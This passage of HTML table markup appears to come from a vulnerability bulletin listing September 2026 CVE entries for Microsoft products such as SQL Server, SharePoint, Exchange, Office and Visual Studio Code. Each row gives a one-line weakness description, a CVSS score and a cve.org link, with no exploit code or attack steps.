&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81395&quot; target=&quot;_blank&quot;&gt;CVE-2026-81395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Buffer over-read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81399&quot; target=&quot;_blank&quot;&gt;CVE-2026-81399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81400&quot; target=&quot;_blank&quot;&gt;CVE-2026-81400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81401&quot; target=&quot;_blank&quot;&gt;CVE-2026-81401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81958&quot; target=&quot;_blank&quot;&gt;CVE-2026-81958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Buffer over-read in Microsoft Office Word allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83949&quot; target=&quot;_blank&quot;&gt;CVE-2026-83949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Buffer over-read in Microsoft Office Word allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83951&quot; target=&quot;_blank&quot;&gt;CVE-2026-83951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85875&quot; target=&quot;_blank&quot;&gt;CVE-2026-85875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Edge (Chromium-based)&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77490&quot; target=&quot;_blank&quot;&gt;CVE-2026-77490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69361&quot; target=&quot;_blank&quot;&gt;CVE-2026-69361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Authorization bypass through user-controlled key in Microsoft Exchange Server allows an authorized attacker to perform tampering over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69375&quot; target=&quot;_blank&quot;&gt;CVE-2026-69375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Use of a broken or risky cryptographic algorithm in Microsoft Exchange Server allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69382&quot; target=&quot;_blank&quot;&gt;CVE-2026-69382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Execution with unnecessary privileges in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69409&quot; target=&quot;_blank&quot;&gt;CVE-2026-69409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an sql command (&#039;sql injection&#039;) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69636&quot; target=&quot;_blank&quot;&gt;CVE-2026-69636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69683&quot; target=&quot;_blank&quot;&gt;CVE-2026-69683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69690&quot; target=&quot;_blank&quot;&gt;CVE-2026-69690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67386&quot; target=&quot;_blank&quot;&gt;CVE-2026-67386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Buffer over-read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67390&quot; target=&quot;_blank&quot;&gt;CVE-2026-67390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Buffer over-read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67393&quot; target=&quot;_blank&quot;&gt;CVE-2026-67393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67629&quot; target=&quot;_blank&quot;&gt;CVE-2026-67629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67630&quot; target=&quot;_blank&quot;&gt;CVE-2026-67630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67633&quot; target=&quot;_blank&quot;&gt;CVE-2026-67633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67645&quot; target=&quot;_blank&quot;&gt;CVE-2026-67645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67648&quot; target=&quot;_blank&quot;&gt;CVE-2026-67648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68776&quot; target=&quot;_blank&quot;&gt;CVE-2026-68776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68777&quot; target=&quot;_blank&quot;&gt;CVE-2026-68777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68778&quot; target=&quot;_blank&quot;&gt;CVE-2026-68778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68779&quot; target=&quot;_blank&quot;&gt;CVE-2026-68779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68780&quot; target=&quot;_blank&quot;&gt;CVE-2026-68780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68781&quot; target=&quot;_blank&quot;&gt;CVE-2026-68781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68784&quot; target=&quot;_blank&quot;&gt;CVE-2026-68784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69562&quot; target=&quot;_blank&quot;&gt;CVE-2026-69562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows OLE DB allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78441&quot; target=&quot;_blank&quot;&gt;CVE-2026-78441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in SQL Server allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77488&quot; target=&quot;_blank&quot;&gt;CVE-2026-77488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68785&quot; target=&quot;_blank&quot;&gt;CVE-2026-68785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67624&quot; target=&quot;_blank&quot;&gt;CVE-2026-67624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Buffer over-read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73029&quot; target=&quot;_blank&quot;&gt;CVE-2026-73029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2022 (CU 26)&lt;/td&gt;
&lt;td&gt;Insufficient logging in SQL Server allows an authorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66816&quot; target=&quot;_blank&quot;&gt;CVE-2026-66816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2022 (CU 26)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67389&quot; target=&quot;_blank&quot;&gt;CVE-2026-67389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2022 (CU 26)&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in SQL Server allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67641&quot; target=&quot;_blank&quot;&gt;CVE-2026-67641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2025 (CU8)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67369&quot; target=&quot;_blank&quot;&gt;CVE-2026-67369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2025 (CU8)&lt;/td&gt;
&lt;td&gt;Generation of error message containing sensitive information in SQL Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67383&quot; target=&quot;_blank&quot;&gt;CVE-2026-67383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Teams for Android&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into sent data in Microsoft Teams for Android allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65812&quot; target=&quot;_blank&quot;&gt;CVE-2026-65812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Teams for Android&lt;/td&gt;
&lt;td&gt;Origin validation error in Microsoft Teams for Android allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69559&quot; target=&quot;_blank&quot;&gt;CVE-2026-69559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Skype for Business allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63523&quot; target=&quot;_blank&quot;&gt;CVE-2026-63523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Skype for Business allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66303&quot; target=&quot;_blank&quot;&gt;CVE-2026-66303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Generation of error message containing sensitive information in Skype for Business allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66306&quot; target=&quot;_blank&quot;&gt;CVE-2026-66306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Skype for Business allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66308&quot; target=&quot;_blank&quot;&gt;CVE-2026-66308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Skype for Business allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69642&quot; target=&quot;_blank&quot;&gt;CVE-2026-69642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Visual Studio Code allows an unauthorized attacker to perform tampering over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81377&quot; target=&quot;_blank&quot;&gt;CVE-2026-81377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Insufficiently protected credentials in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81381&quot; target=&quot;_blank&quot;&gt;CVE-2026-81381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a command (&#039;command injection&#039;) in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81380&quot; target=&quot;_blank&quot;&gt;CVE-2026-81380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
